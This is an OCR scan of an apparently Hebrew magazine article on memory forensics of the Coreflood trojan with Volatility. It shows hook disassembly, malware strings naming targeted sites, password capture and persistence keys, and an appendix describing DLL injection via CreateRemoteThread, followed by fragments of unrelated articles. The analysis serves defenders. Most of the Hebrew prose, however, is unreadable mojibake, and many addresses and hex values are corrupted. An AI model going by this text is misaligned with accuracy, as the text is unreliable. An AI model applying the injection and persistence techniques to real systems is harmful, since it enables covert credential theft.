JAT AT 7y Mo NTN NIYY'? 0NN 11NN ,ND DRUTARIARTIEm ] |'3n'7 10

Yalpn 7w axInn N1an 7w axnp 7 RNk Windows loader-n ,NIWXAY [VOI NXIN YA UKD
DNIN NONNI [N WNNWN YaIpnw DLL-N '¥ap 72 NN VIV D2 KIN 727 90102 .[1N2'T7 yaln 7w naol

.Process address space-?

X7 |0 NIYARIoN 7W NIAMIAY (1P .DLL 7on |07 21T XINW NI'Y22190 72 7V N DA nxnn yaue
901N TN 7D DR NNRYWY a0 NRNWNY 1R NIAINDY ZWOKAY (12212 NNDY7 WAT A'n ,NI'VLO

XN N7

WX, NINAIMN NIY7A190 D720 nwyn? NIt AT(Import address table)-a win'w 1 2y awin Nt

.01y01 DLL-N *¥a7 "WRD windows loader-n 'T' 7y NX7Imn

DIZN2 NINNKR NIYI97 RNPY XN YaIR7 DNA7 7T ApTin o'y 227 212' At nd'7h n1an

N7 KNP7 IDNN NN KINY 19X

D'100 "'V 12 YXIAY TYWIN 12D "IN 1D [9T9TN 7w 170N 2u N'or¥o0 apihooks-2 wnnwn? nxin X

:00{70 Y277 INIX NI X, TA YK NTIRON 7w 0790 (11N .sockscan 7w 0790 7V 00aNN]

e T T T T T o T T R R T T T T R T

Hook mode: Usermode

Hook type: Import Address Table (IAT)

Process: 2044 (IEXPLORE.EXE)

Victim module: WINHTTP.dll (©x4d4f0000 - ©x4d548000)
Function: kernel32.dll!LoadLibraryA

Hook address: @x7ff82a5®

Hooking module: <unknown>

Disassembly(9):

ox7ff82a50 51 PUSH ECX

Ox7ff82a51l e8Baefffff CALL ex7ff81960
0x7ff82a56 84cO TEST AL, AL
0x7ff82a58 7414 JZ ex7ff82a6e
Ox7ff82a5a 8b442408 MOV EAX, [ESP+0x8]
0x7ff82a5e 8bedees4fa7f MOV ECX, [@x7ffa5400]
Ox7ff82a64 8b5l1l2c MOV EDX, [ECX+@x2c]
ox7ff82a67 50 PUSH EAX

¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢
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NAIMD NNIX? DRI 0710 NNIY NIrY197 (hooks) D'oN*™ 2w NI JIMN NNR AXXIN 70 DIT

.WINHTTP.dIl yaIpa LoadLibraryA NX N0 NPTINW NIXYY 0712 NNIX,ITN NNAITY .0x7ff82a6e

[N1w handle A'TAN21 170NN 2w [N 2N MY 21T [1yw? 1O LoadLibrary-2 wnnwin% N1

.DLL-n n¥j7219 7w NaIMdN NX 72777 ' 12 GetProcAddress-2 12 wnnwn?

TIZN NO'S IN 7X 719%7 0D"MX NNIX ,NIXT NIWYYT T3 .09 Y¥A7 NOIN NPTIIN NN AN 0"y 1INIX
NN NIRTT ,|NO'T NITRY Y1977 1N INNTY2A wvolshell qoina wnnwr X ,57 .y1in'? nom nprnny

.DN"7Y AR IR disassembly yx2'71,001N2 K¥M)

S vol.py -T coreflood.vmem volshell

Volatility Foundation Volatility Framework 2.6.1

Current context: System @ Ox810b1660, pid=4, ppid=0 DTB=0x319000

Welcome to wvolshell! Current memory image 1is:
file:///home/sansforensics/Downloads/coreflood.vmem

To get help, type 'hh()'

=>> cc(pid=2044)

Current context: IEXPLORE.EXE @ Oxff3adla8, pid=2044, ppid=1724 DTB=0x6cc0320
>>> dis(Ox7ff81960)

Ox7ff81960
Ox7ff81961
Ox7ff81963
Ox7ff81966
Ox7ff8196b
Ox7ff81971
Ox7ff81973
Ox7ff81975
Ox7ff8197a
Ox7ff81980
Ox7ff81986
Ox7ff81988
Ox7ff8198e
Ox7ff81992
Ox7ff81994
Ox7ff81996
Ox7ff81998
Ox7ffe199d
Ox7ff819a3
Ox7ff819a6
Ox7ffe19a7
Ox7ff819ad
Ox7ffe819bo
Ox7ff819b4
Ox7ff819bs
ax7ffe19bo
ax7ff819ba
Ox7ff819co
Ox7ff819cs
ax7ffe19ch
ax7ff819cd
ax7ffe19ct
ax7ffe19d4
ax7ffei19d6
ex7ff819db
Ax7ff819dc
Bx7ff819dd
Ox7ff819de

55

8bec

83ec28
alees4farf
8138270cO0O00
7607

bae1
e969010000
8bodeB75farf
8139270cO000
7653
8b156875farf
0fbed4204
85cO

7507

32cO
2946010000
8b0d6875Fa7f
83c104

51
ff1550e0fo7f
894578
837df8ee
740a

8bss5f8

52
ff154cedfo7f
alees4fa7f
8138270c0000
7607

bee1
e90f010000
32cO
e908010000
8b

od

68

75fa

PUSH EBP
MOV EBP, ESP

SUB ESP, Ox28

MOV EAX, [Ox7ffa5400]
CMP DWORD [EAX], Oxc27
JBE 0x7ff8197a

MOV AL, Bx1

JMP Ox7ff8lae3

MOV ECX, [Ox7ffa7568]
CMP DWORD [ECX], Oxc27
JBE 0x7ff819db

MOV EDX, [Ox7ffa7568]
MOVSX EAX, BYTE [EDX+0x4]
TEST EAX, EAX

JNZ ox7ff8199d

XOR AL, AL

JMP Ox7ff8lae3

MOV ECX, [Ox7ffa7568]
ADD ECX, Ox4

PUSH ECX

CALL DWORD [0x7ff9e850]
MOV [EBP-8x8], EAX

CMP DWORD [EBP-0x8], 0x0
JZ 0x7ff819co

MOV EDX, [EBP-0x8]

PUSH EDX

CALL DWORD [0x7ff9ed4c]
MOV EAX, [Ox7ffa5400]
CMP DWORD [EAX], ©xc27
JBE 0x7ff819d4

MOV AL, Bx1

JMP ox7ff8lae3

XOR AL, AL

JMP ox7ff8lae3

DB 0x8b

DB Oxd

DB OX68

JNZ ex7ff819da
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70N 7 |ND'T VOV 012'n7 *TO cc(context) NTIPOL wiIN'W 'Myx ,volshell-7 'MO1DIW INKY

.n‘r|,79'7 A0NO N [OTOTN 7y PID-2 wnnwin .0'ion

kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkhkkkkkkkk bk kkkkkkkkkkkhkkkkkkkkkkkkkEkk

Hook mode: Usermode

Hook type: Import Address Table (IAT)

Process: 2044 (IEXPLORE.EXE)

Victim module: WINHTTP.dll (©x4d4fo000 - ©x4d548000)
Function: kernel32.dll!LoadLibraryW

Hook address: @x7ff82ace

Hooking module: <unknown>

Disassembly(@):

ox7ff82aco 51 PUSH ECX

Ox7ff82acl e89aeeffff CALL @x7ff81960
Ox7ff82ac6 84co TEST AL, AL
ox7ff82ac8 7414 JZ ex7ff82ade
Ox7ff82aca 8b442408 MOV EAX, [ESP+0x8]
Ox7ff82ace 8bedees4fa7f MOV ECX, [@x7ffa5400]
ox7ff82ad4 8b5130 MOV EDX, [ECX+0x30]
ox7ff82ad7 50 PUSH EAX

kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkhkkkkkkkk bk kkkkkkkkkkkhkkkkkkkkkkkkkEkk

NAININ NX 117 XN NN N2AMNONT,N0I'Y NAMDA NX 117 NN hook address-n 7w nam>n

DR N7Y TIENY DX ARTRINY
:ND TV MW NN 72 TR 0D01 INIA

.N1DNN 7Y YW ITT T KIXA7 " volatility-a wim'w nyxa e

DIYPNI0D'70N YW NPT Yy¥a7 IND NIF0'0A NIZIVO DY N7NNN e

DT 190N 11'721 D'M'MN 0D'7NNNYT TP NATH T 72V NIKANNN APTIRN ORD 71ITA7 1Nay e
.01myn

vaddump-2 wnnwn? DT NIYY? N¥N IRY IYRIN QTN YNNI TIgn anrant v T

-1 NYNNYN DTN :N0P D'WA W' R LND'T NP7 7Y dump y¥a? 7 MwoRn NRTA NTIRON

2T DY RIXNT7 DNYXD X7 ,1009X7 N7 1T 0f2mm 17 nikan? N0y nwyn?w malfind

N

-N DX 117 'R 17Y NPNnaY |1'On .MZ header X1j7aw 12T 17 W, [ND'T7 (V01 71T TWRD 970 0T
,LIRT NNNY .N21'PN NN NNRY QMK DD X7 DYoN Y'Y 1Ay 2ITinny 210 n'o nT ,MZ header
TRV IyxIaw AP IR 7V v qi7wh 07 MWONNY .impscan NTIpo1 wWnnwin? 0713 1nnax

DYIY PATIN TIPN DXV DN 207 T2 DINK D97 (Y7 Tipn
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197¢' 0'NY97 NT 210N NIXMR JMP/CALL 1D NIY¥2219 11 [N2'TA 7w Ao *T 7 Ty Impscan
IAT-n M2 W' NN 21ImY% N1 ,volatility oy Niwy7 Awox oxyaw nn .IAT-n NN D'¥2190 NAIMD NN

XN XIN DY 17'891

[IVO 2ITTA 2ITMN N'Y7X8Y 0'0QN NAIMD NX 7907 D'2MIX 1INIX DTN 901N WNNWNYT? *TD DXV TX
[9TOTN 7W 170NN DX 0N NN 17 N1, vaddump-1 YNNW ,nTn VTN DX A'WNY 71D . |Nd'1

.0x7ff81960 X'n D'WONN INIXY |NI'TN NAIMDWYW DA 11DT .(2044)

:vaddump 7w 07900 'an%? 070" INIX,NTA VTAN 7V 002NN

VAD node @ OxFf1fb39@ Start Ox7ff80000 End ox7ffadfff Tag Vads

Flags: CommitCharge: 45, PrivateMemory: 1, Protection: 6

Protection: PAGE_EXECUTE_READWRITE

12NIXI 02X NNIRY NN 70 X 0¥V 117 W' 1'wdy .0x7ff80000 X'n 1ITTN 71N 7w 0'02n NaIMdY

:@impscan NTIPO9] D'WNNWYN 11NIX 12W XAN 2A7W7 DTN D210
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NTIMYN IR NIXYYT 0'212' DA INIX .NRIVON NIYIRION 7W N9 NN'WAN NIX NIRYTZ D710 12NN 1'WDY
72¢ ninwn NX 117 DX DA Impscan (IAT-N YN VINYRN 7Y NAIMDN DX 117 RN WK AT v

.NNXARION 7W DWN 197 NWIY TIZN NN AN 117 TV7 MUY nn L, NRvon nirkpaion

DY W'Y DRI 1INIX ,volshell-a wim'y ANKRY 172w 0790 DR DXL INRND N7YNnY DX ITN) DX
NDMIYN NRTN NAMDNY NIXYT DY710' NNIX L I'WOY N172'Y impscan 7w 07921 .0x7ff9e04c-7 NX"?
PTIN TIE7 INIR DHYNYI impscan 7w 0790 2y 7on0n"7 0'710' 0¥y 11NN .LoadLibrary n'¥j7119%
NTNal ,DLL-n 7ITim NX NNnwn Freelibrary ,1%7¢ nNAITA .nWIV N'¥719 IRNR 70 NN XIxn? 1
2NINN NNIYA 217N ,09X7 Y'an NTh 19010 UKD .17W D'0IN™'N 150N NX 110NN )22 NIX Ui

AN qpn X7 handle-ni, X170 Y'7nnn YW namon

NPI7 NTY X'DITA N0'WA D71ITA N2 17U D7D DX FAN71 ATimn TIpn 7w 1w N7 17 u 1r'ydy
2V 75n0n7 VIYD D™D 1INIX )2 AV .A7ITAD NIMNN DX AN 1D T 7 7Y iavh ar jmn

N7RN NIXPZI9NN Y'ANY TYN ' N7V 12D .0TH yTNnn 0T NI7T? D017 NINY71190 7w ninwn
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XTI 11D DNRY '9) .registry-2 WUNNWNYT "D NIYNRAID 790N NIV NPTIINY NIXTYT 0210 11NIX
persistence A'wn? "D registry-2 NIWNNWNW NIPTI) OYN X7 W' WA YT 700 registry-n ,0'UTIY

.N7V5NN NDYN 7w NRAN NXINA 7V91'Y autorun 7w 2'N17 NXIN YAl 7w nooIn T Y

D'Ynnwn 0N handles-n 7y 70N0N7 117 NYWOXN NRTN NTIRON .handles oIN2 wnnwa nNIX
Nd ,NdYN "AXYNT7 NWAZI Ax"*7 1D D'OP"AINY Twnnwn Windows 7w n'7y9nn Ndyn .0D'%70n
-1 NX¥NY handles-n N7202 wiIn'w T 7 VFMINT NWAT [N ,NWYNY7 .'1DI NINNSN ,0'A'1 ,0'¥))7

.handles-n N'7202 vE"AIRY Y'aAYN 7w ND0IN 1NAN VRPMAIR 7Y NN'NO kernel

rregistry NINNon 7y 71 [12'0 yx¥2111 handles nT1j791 wnnea

0Oxe12e8958 44 0x20019 S =3- 895754-436374069-839522115-500_CLA
0xe1051fb8 44 0x20019 S -5- 895754-436374069-839522115-500_CLA
0xe12e4420 44 0xfoe3f ACHIN FTWARE\MICROSOFT\WIN CURRENTVERSION\EXPLORER
0xe1068eco 44 0x20019 S -5- 895754-436374069-839522115-500 _CLA
Oxe131abed 44 0x20019 S -5- 895754-436374069-839522115-560_CLA
Oxe15ff7d8 44 0x20019 S| -5- 895754-436374069-839522115-560_CLA
0x20019 S R 895754-436374069-839522115-560_CLA

0x2001f S R 895754-436374069-839522115- 500\ SOFTWARE\MICROSOF T\WINDOWS\CURRENTVERSION\EXPLORER\RUNMRU
0xel7a37f8 44 0x20019 5 E 614895754-436374069-839522115-500\ SOFTWARE\MICROSOFT\INTERNET EXPLORER\TYPEDURLS
0xe10f5e00 44 0xfoe3f A N S VICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOGS
0xe12e1978 44 0xfoe3f ACHIN N S TCES\WINSOCK2\PARAMETERS\NAMESPACE_CATALOGS
0xe12dboes 44 0xfoe3f S 48 4 522115-500\ SOFTHARE\ MICROSOF T\WINDOWS\CURRENTVERSION\EXPLORER\ FILEEXTS
0xe1332228 44 0x20019 A S S NT\CURRENTVERSION\DRIVERS32
Oxel12e50a0 44 0x20019 MACHINE\SOFTWARE\MICROSOFT\ACTIVE SETUP\INSTALLED COMPONENTS\{89826200-ECBD-11CF-8B85-00AA005B4383}

J"vn "7 DRMIY TR 'NDNN 728 N1 DDNK NN NNXY NN

T2V 720 Wiy 7apn nth nnonn “TYPEDURLS”-21 Mna1w NNSn NIXYY D710 1INIR 7D DI TR
NIT .[27170 0101 DN'ZRY DMNN 7Y IRNPZ YNANWY NPT T 72V wIn'y 727 215 DA RIN 72K ,|9T9Tn
“RUNMRU” XIn NNIT NNOA .INXY [9TOTN 7¢ 70NN JINY pann TIpny [11'on ,N11v 712 Nz'du
[AD1PN 7Y NOWNN DX 2071 NTH VTN Nwia 7277 7IN7 AWOR'Y Nn YA NIXIY NIDIN DYNY

a1l ant!

nYXI NPT D 72V 117 107 715' a1 “DRIVERS32” 9w NNona win'y At ,No |*ayn TIVY Nn
Internet 7¥ NNLAXNY? DNIYPY NINNSA 190N D2 'M'RY Q7N 7¢ NDWwN [PNn 7¢ mapgnn
NNIIALLANIPZN W 2AUNNN 7V NNVAXN 'YXAR DX NW'7NNAY 190N NU'W NI'NYT N71D' NINT .Explorer

JI9PIN AI0 NI YIAD NIFfNY 17

D TV DID'O
.registry-2 NIITT NIZWO7 NIPTA DRI I'RA X VTV @
.custom registry NINNOSN WIN'Y ["TY I'RA N7 o

.registry-2 NIV NPTIN NN WN7 DD I VAID NN @

J'wm I

YXI7 "TD NINTN |N2'TN NR7NYT7 dump y¥a% nxn R .0x7ff80000 N2INd7 ,NIINK NXP 1ITN1 NYD

AN 'myn Nint

Coreflood - npaTn NIMAIZITINAL [N2'T NN
www.DigitalWhisper.co.il
75 2022 1,141 '




$ vol.py -f coreflood.vmem vaddump --pid=2044 -b ex7ffgseeee -D ./
Volatility Foundation Volatility Framework 2.6.1
Pid Process Start End Result

2044 IEXPLORE.EXE ox7ffee000 ox7ffadfff ./IEXPLORE.EXE.485d1a8.0x7ff80000-0x7ffadfff.dmp

:0'10N Y2l YN 78 NNAMY NITNNNA NIXAY T strings NTIZ92 Wnnwn? 01710 1NN

$ strings IEXPLORE.EXE.485d1a8.0x7TT80000-0x7ffadfff.dmp > injection.txt

:N2N 12TN NN IR 1INIX,YXNARYT 12 717201 DOPLN YAl DX NND) DX

user32.d11

Progman

Internet Explorer_Server
cleanup

appinit_dlls
rundll32.exe
winlogon.exe

* nhs.net/*
* . nhs.uk/*
* hilton.*
*.yahoo.*

* . google.*
checkbox
passwonrd
text

submit
hidden

regex Ny'T1a I7'9X N9 W'Y NXKM ,"]3'7 QoI .NITIYN NITNNN NNd NIXT? NIRTIA DY71D' 1INIX TN

21780 NImNY DYV NNDIAYN 21227 T2 171X ,NI'9'¥90 VINVI'X NIAIND NN NYSNNY NN'Ion

217N 7¥X DIPNINY D9TOT INK YO WID'N NT NIKTYT 071" 1ININY 9011 12T

Global\

*\explorer.exe
*\intern*\iexplore.exe
*\firefox.exe

*\opera.exe

*\skype.exe

AFCORE
COM2PLUS_MessageWindowsClass

NX O'NN DA NINIXRY ']3'7 17 mv TR n,‘nrn'7 NNUN DY DI9TOT NND TV W'Y NX1) AT TR

:malfind-2 wnnwl ,ITh N"IXNN DR 21727 T2 .19 explorer.exe
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Process: explorer.exe Pid: 1724 Address: @xlb2oees

Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE

Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6
2x01b20088 @0 00 02 P2 0D B0 02 G0 G0 20 20 B 08 88 B8 BP .......ciieiaaean
Bx21b2081° ©0 80 b2 81 20 B0 B0 B0 80 90 20 BO 6B B8 80 BE . ..........iane.n
Bx81b20620 10 60 b2 91 00 20 00 9D 90 00 0O OO 09 BB 80 BB ... .... ... .. ...,
ex01b20030 20 20 b2 €1 00 20 00 00 90 00 20 6D 08 88 20 P8 . ...............
oxelb2ee0e 2086 ADD [EAX], AL

exelb2eee2 eeee ADD [EAX], AL

exe1bzeees eees ADD [EAX], AL

8x81b2@806 BP8B ADD [EAX], AL

@xe1b20ee8 eees ADD [EAX], AL

exelb20eea ooee ADD [EAX], AL

exelb2eeec ooee ADD [EAX], AL

2x01b2008e 2000 ADD [EAX], AL

exelb2egle o088 ADD [EAX], AL

@xe1lb288l12 b28l MOV DL, @x1

2x91b26814 cees ADD [EAX], AL

gx@1b2@elc 0086 ADD [EAX], AL

8x81b20e18 coee ADD [EAX], AL

ex8lb2e80la 0200 ADD [EAX], AL

ex81b200lc oo8e ADD [EAX], AL

2x21b200le 2000 ADD [EAX], AL

ox8lb2e626 loes ADC [EAX], AL

8xelb2ee22 b2el MOV DL, @xl

ex01b26824 oees ADD [Eﬂa}(], AL

exe1b20826 6008 ADD [EAX], AL

8x81b20828 coee ADD [EAX], AL

exelb2802a 0088 ADD [EAX], AL

yam Tun nityn Tnnw  EXECUTE_READWRITE 7w NIXWAN DY |N2'T D70 nwyn? 17 v' XD
2212 "2IX .DMQT TIV KIXAT 7210 DX NIRTYL TN [ND'TA NZ'7N7 dump Y¥2'7 XN X 'Y TR DTy
TR 7Y 77UNNY 1N NNENnn 2 K7W DR ,MYY? ?IEXPLORE.EXE-7 pATInY TIn INIK DX XIXNY
N7 D2 strings *T' 7V w19'n .IEXPLORE.EXE 7w dump-7 nRIIWN2 T |07 RIN dump-n WNRYT [ND'TH

J11MYN NIRXIN 2'IN

Command & MIYPNA 12N WK XMWY 079 NINIY 7212 1INIX ,0VO0PVN YAl 7V LN [N DX

(NPnNn nInnn NImpo 7apn a0ipn Nt NIYpn a10aw) Control
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NAT?

[BYLES LransmItLed: %d, Tecelved. wd
STATUS_RESOLVING

STATUS_CONNECTING

STATUS_ESTABLISHED

STATUS_SHUTDOWN

STATUS_LISTENING

Invalid command "%s" (%s) Trom %s

Restricted mode has been set; cannot perform "%s" command without administrative
privilege

Frozen mode has been set; canmot perform "%s" command
Unimplemented command %s

Unknown or ambiguous command %s

Administrative privilege is required for the command "%s"
Creating string table %s

Adding string #%d (%s) to the table %s

Finalizing string table %s

Removing string table %s

Removing string #%d (%s) from the table %s

String #%d (%s) cannot be removed fTrom the table %s
finalized string table %s:

'%d - %s

NXM N7 .2 v NnITpES Y"’lﬁ'? NoIMNY INYM N1V NXIMY NITIRO 7w 1079 IND> AR NIKTIA DT

201N 7Y 07091IN1 D'YY 070N 7Y IR NVYY 72PN NV2IVA NINNN 17'RD

17 ,NpTIN W persistency-n (12210 NIX KIXA? NI017 NXN X DTN VT'AN DK 17 W'Y 1'WDY TR

20PN 7w AUNNN 7W 2INNK DTIY X' 'R

*32.d11

Software\Classes\CLSID\InprocServer32

ThreadingModel

Apartment
Software\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers
SOFTWARE\Micr‘osoft\windows\Cur'r'entVer‘sion

Software\Microsoft\Windows NT\CurrentVersion\Windows

AppInit_DLLs

rundll32.exe ,init

#rundll

NNON7 N2 NN 'DW 7721 ,persistence 72777 'OX77 17N XIn RunOnce DWA registry-n NN9n
X DY 72 NNXY NIX 2INDYT N710' NPTIN .7NNA TRI,N7IV N7V9NN N2IYN TWXD NNK QYD Y ,NTn
Applnit_DLLs-2 win'y X'N N9 NIXY7? TWONY NOOI NU'Y .NXI NDWNNY DYO 72 DTN NN9NN N
JIDWNY wnnwn ax¥n 170N 9 Im 72X (yurn? DLLs '¥ap 7v nn'wn? 2WoKnY |20 nwyn? Nt
78 | NYUNNYN NpTRn DLL-N 73 7w D1wn T2V npmn cT 7Y 9pnim nrn' nipa 210t 0t jnam

:NN9NN DIF'M |IN

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows

.registry-21 DLL '¥aj2 17'va NIYAIR N TY 1'RIY NITINNNAN ,N2D DTYNY '9)
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:system32 7N DLL-n '¥ap 7y KIXN7 071! NINIX NN 21727 210 |y et nt

C:\WINDOWS\system32\comsbap.dIl
SetEvent

D7 ina win'y 09 v HDLL yalp X7 17'98 0T 221 pad pal

ANIR NNAZ1ND'TAN AT Y2IPN DX q17W7 710 ARk DX NIRN? 71D filescan NTIP9] WNNWR NWD

$ vol.py -f coreflood.vmem filescan | grep comsbap
Volatility Foundation Volatility Framework 2.6.1

0x0000000005Cc5aeel 1,
0x0000000005ce4bed 1
0x0000000005ce4cT8 1,

® R--r-- \Device\HarddiskvVolumel\WINDOWS\system32\
® R--r-d \Device\Harddi olumel\WINDOWS\system32\
® R--r-- \Device\HarddiskvVolumel\WINDOWS\system32\

N2'TNN XY Yalzn DX 917w7 D dumpfiles-2 wnnwn'? 01710 110X, 1I'WDY

$ vol.py -f coreflood.vmem dumpfiles - 0x0000000005ce4bed -D ./
Volatility Foundation Volatility Framework 2.6.1

None \Device\HarddiskVolumel\WINDOWS\system32\comsbap.dIl
None \Device\HarddiskVolume1l\WINDOWS\system32\comsbap.dIl

ImageSectionObject 0x85ce4be®
DataSectionObject 0x85ced4bed

N2V YAIPNY DNPZYTIR 07 W .DYNARD 7V 90 v 7277 0710 11nAX ,PEStudio "1 win'w T 7y

:0N'I-'LIX NIINND qIY7 17 DNAY T Packing 7w Y'7nn

virtual-size (184320 bytes)

0x0001B000 (110592 bytes)

Ox00011000 (69632 bytes)

property value value value

name UPX0 uPx1 uPx2

md5 109D2AE3563176ADC 194624, DE4EASSBCST7S5E0SA3860480
entropy 7.981 3.962

file-ratio (95.14%) 04.44 % 0.69 %

raw-address Ox 00000400 0x00011400

raw-size (70144 bytes) Ox00011000 (69632 bytes) Ox00000200 (512 bytes)
virtual-address Ox 10001000 Ox1001C000 Ox 10020000

Ox00001000 (4096 bytes)

entry-point 0x0002CC30

charactenstics OxE0O00080 Ox EDO00040 OxC0000040
writable x x x
executable x x

shareable

discardable

initialized-data

uninitialized-data

unreadable

self-modifying x x

virtualized

file

JUTT NARD DTN 2ITMAY '2an7 "2 DDA pyyva Nt
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nid'o

NTY [2MD .AWNNYN NPTIIN DNAY 070N 1901 1NKR A1pY7 volatility 7w nidn ntva Ny ,pal
N'D [NAY NI' TNN2AN NPXPADN 7V 1aYn 1 KX ITD NRTIRN 79 XMn paiy? 17'o8 2pnn X7

Junnun

TI'DIO0 [1IANN NIF'VO'VVO LYN X7 DIY' .NTN77 'D10 |'N 7AIY DY DIXY DINN NT [ND'TI NPT NN
TIY2 .YT'AN NNVIX DNVP902 117 NIODIN NIPTII DIZA NND DYD INK DYD 117 NIKINY NNNRIN7R)
qQKI N'0'01 NIANYT 'R7'W Y W'Y QWIN IR NPT NINYY NI71Iyn NI'VAIVIR NINNIDYYSI D7) W'Y
¥ N1'N2) 'UXLO NINY NIFDLVL YIN'Y T 7Y .NVYN 197 NNNN O'TAIY 0NATH 'R 7¢ NNTPENN
NPTIN 7Y N1'N]) MRYT NN (INKYT NOTIN VIXY IR NYY NIKINN 7W D1'N2 720 AN yalyp
NIXY NIPTIN 7¢ [2'01 210 DY D210 MNI' NN NN 7272 1INIXK (DXINN INXRT? IX IXINN (AT

1 7pnan? nriwy

Anpn Yy

qIXY7 [N .DFIR-N nm71v7 npTn nz't vai ,Detection-1 SIEM nidAyn 01NN ,24 |2 ,no4p 78T

koifmandani@gmail.com :7'na IX (@KoifSec) N0'10 ,|'KTi71"722 W

D'MAITT D'NN'Y Y AT NrAZITINN (0N

D'NN'Y 7W NT 10 NAITNA TWNRD IMINKR 2RIV IRY 7700 NTIAyn 70N DR N9 A'vn? NNWR
:DMITT
4697, 7040, 7036, 7034, 7035, 7045 7w D'yIN'K 7Y wATA ,0DWN'RN OWIN 7Y 1N e
:D'NN'Y 7w registry NINNSn 7y 1aun e
B HKLM\SYSTEM\CurrentControlSet\Services
B HKLM\SYSTEM\ControlSet001\Services
B HKLM\SYSTEM\ControlSet002\Services
sc.exe/at.exe 'T' 7 NXNY D'NN'Y 7w 4688 NiNiwA 7y 1ayn e
.shimcache, prefetch, amcache :n¥xn7w n'nmy1ayn e
.DMITT 0'¥AP DY 7w 01IN'0 NIy SMFT/SI30 7w Nayn e

.0 D'NN'Y NINTYE DNYIENA X7 DNN'Y NINT? YT volatility 7w svescan-awim'y e
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https://www.linkedin.com/in/daniel-koifman-61072218b/
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2 ?nTa1y DLL npaTh 'K :0nia

70NN .07 Y1 70N W wErnn Ina Tt DLL yalp Nwiow At Np'ow X DLL natn

-N NIX VIV YI2IN )*70NN CWKRD .CreateRemoteThread Ind NIYYRAI9 *T* 72y n'x7191 7apn pninnn

T2V NYARI AWUN LYaln 7w DIIMain n¥zan? nXAIp MnIvIR [91K2 N7W9NN Ndwn T DLL

J"7nNN7 11> NOIWYNY WD NNIR DR N7 W'1L1TTD TN DR 0790 0'¥72190 .DLL-N yalp 7w X

DN YXIN ITTN )'7NNNY 0R7WUN .0x RN DINAY

2IMDY71 KNP NNWOXRN DR N7 NINN WK (SB_DEBUG_PRIVILEGE) debug NIXwAN 7w n7uon e
.debugger nn'n X'N 17'XD ,0INKR DD'70N W |ND'TA

NN NN T 7Y pNian 0t 770 0T . "nnn v owa wim'y T 7Y process ID-N 7w RN e
N> N9 wm'y T %y 'onvoon 7NN ONX wiI9nl (snapshot) Mdawn
.Process32Next-1 Process32First ,CreateToolhelp32Snapshot

2V NINT Y¥27 [N N1 handle W AW, NM'RNINN NIRYWAND DY QIR )'70NN 70 ANMo e
,PROCESS_CREATE_THREAD :nIXan NIw'ann TNX NINS7 oy OpenProcess N'X¥j71197 nX"j ' T
.PROCESS_VM_WRITE-1 ,PROCESS_VM_OPERATION

70" TN 7Y 07 12D WK, DLL-n U R'min amin 7w nawn e

X700 DYUN 77120, |20 170NN 7Y RIDYIN NIAMDN 2NN JMA WTN [NDTUTR W I'y e
7w nixwnn oy VirtualAllcEx-2 win'w T 7u NIRT yxa? [N (17w 2'nan 7710) Trn DLL-n 7w
.PAGE_READWRITE

QA wm'y T 2y wTNn NN ITR N IR DLL-D YW Xnn Dwn 7w namd e
JN'Y NAIMDN M 7R WriteProcessMemory

,LoadLibrary n'¥j722190 NX YN YUK NIRn 1'70N0 7Y WRNN )N WTN '70N-NN W e e
NPTANI ATTN DLL-N DX WI0 nwyn? a1 .DLL-N YaIp 7w X770 2'N1a 70NI9 NN win'y Dy
n97w1 LoadLlibrary n'¥j72on 7w namdni kernel32.dll N2y handle 97w ,n'wxa nwxian
,CreateRemoteThread 1> APls-a wim'w T 2V i '7nNn-NN PR INXRY  .nn
2w handle-n Dn DAW Daawnn DNVNOn .RtlCreateUserThread IX ,NtCreateThreadEx
2IT'R NAIMDY yaxnnl LoadLibrary n¥j72190 7@ NaIMdY (pointer) y'avnn ,|201n )*7nnn
.DLL-n yaI? NX NIV LoadLibrary-w WnIx N7 .DLL-N YAl 7w X700 DU DX NIONKAY [IND'TN
17U DN ANRT T [DINA 217N Y7NNN Y IRI0IN NDTROITR DR YN YNNn-Nn

TRV ,)"NNN-NNYE A0IpD *70N7 handle-n 7w Do nxpmn [N NNY T 7Y M e

.MMXNN1 ,CloseHandle-1 VirtualFree-2 win'y
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https://dione.lib.unipi.gr/xmlui/bitstream/handle/unipi/11578/Balaoura_MTE1623.pdf?sequence=1&isAllowed=y
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread

Technologic

“T 27N - NIN'XYNI 9"A 17210 NIANI NMDX7N M

N ARy "T NRN

nNNTEN

7¥ NIV'Y N2"0N NIAN D7IV7 I DXPD TV NP 1'WUN 210 71T 910 X NNRINNKD DY)
.0192 (Machine Learning - ML) nmipn N1 9902 (Artificial Intelligence - Al) n'mpXM N2
DIT'P? MIDN DTN NINTRNN NIV'Y 7Y 7X'N¥10190 IR 7AV7 NI X IT DNNXA D170

Center for Security and -0 7w INXN NIAPYA NXT ,7210N NIAN DINNA DY DMWY 79 Miynwn

710 X INIR (CSET) Emerging Technology

NTN7 7Y NMYORN NNNN2 POYY RNAIT? |I'T MAXDI [I'TN 1NA0N DX 'MITAN [IYRIN KN
N2107 omiwal (W10 NI7Y) EDR-1 AV XN [I'T2 'MDWNN QYN 1NKNA .NNTN NIRTA? Ndn
JIMR N7 (IDS) NN 177 DN "MTPANN 'Wwin 1nRNa .N0AINA TIR 7w Na'md
LU0 1727 ArvnIoIk D207 Nadn NTNY 7w 9RN019a [ITR ,NNT0A NNRD ,NTN AN
7¥ NIFTOINN NNRONYT NITAKR [N INKRY? .12r0 NI9pn 7w (Attribution) Y1'wl ['y*TIin 910'X N2IVYI

JI'TN IR DDONI [IWXRIN "NRNA 'MRXanY CSET 7w Anxnn 'anin

NIY7IN 1'7'2%7 AXNnIVIX NAIVY NN NT'NY

X Wnw? NI71YY TI NIY2IN [7N71 XIXN7 X' 0NN NIDINN A7¢ 7¢ NI'0'oan Nin'wnin NNX
